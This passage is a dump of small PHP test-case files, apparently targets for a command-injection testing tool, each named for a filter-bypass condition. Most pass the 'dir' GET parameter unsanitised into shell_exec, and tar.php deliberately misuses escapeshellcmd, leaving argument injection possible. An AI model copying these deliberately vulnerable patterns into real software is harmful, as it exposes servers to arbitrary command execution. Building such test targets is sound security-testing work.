}
?>
================================================
FILE: test_cases/no_white_chars_start_digit.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_white_chars_stop_alnum.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_white_chars_stop_alphanum.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_white_chars_windows_blind.php
================================================
../listing.txt");
echo "The index file has been updated.";
}
else
{
echo "GET[dir] not set.";
}
?>
clickme
================================================
FILE: test_cases/no_white_space_no_colon_no_pipe_no_ampersand_no_dollar.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/simple.php
================================================
".shell_exec("ls {$_GET['dir']}");
?>
clickme
================================================
FILE: test_cases/simple_nested_quotes1.php
================================================
".shell_exec("ls \"{$_GET['dir']}\"");
?>
clickme
================================================
FILE: test_cases/simple_no_spaces.php
================================================
".shell_exec("ls {$_GET['dir']}");
?>
clickme
================================================
FILE: test_cases/simple_start_alphanum.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/simple_stop_alphanum.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/tar.php
================================================
array("pipe", "r"),
1 => array("file", $outfile, "w"),
2 => array("file", $errfile, "w")
);
$proc = proc_open($cmd, $descriptorspec, $pipes);
if (!is_resource($proc)) return 255;
fclose($pipes[0]); //Don't really want to give any input
$exit = proc_close($proc);
$stdout = file($outfile);
$stderr = file($errfile);
unlink($outfile);
unlink($errfile);
return $exit;
}
## user provides both names (and arguments if they want :D)
$command = 'tar -cf ';
$escaped_arg = escapeshellcmd($_GET['dir']); // while escapeshellarg should be used instead
$all = $command.$escaped_arg;
echo "Command after concatenation: $all\n";
$output='';
$error='';
cmd_exec($all,$output,$error);
echo "Output:\n";
foreach($output as $out)
{
echo "$out
";
}
echo "Error:\n";
foreach($error as $err)
{
echo "$err
";
}
?>
clickme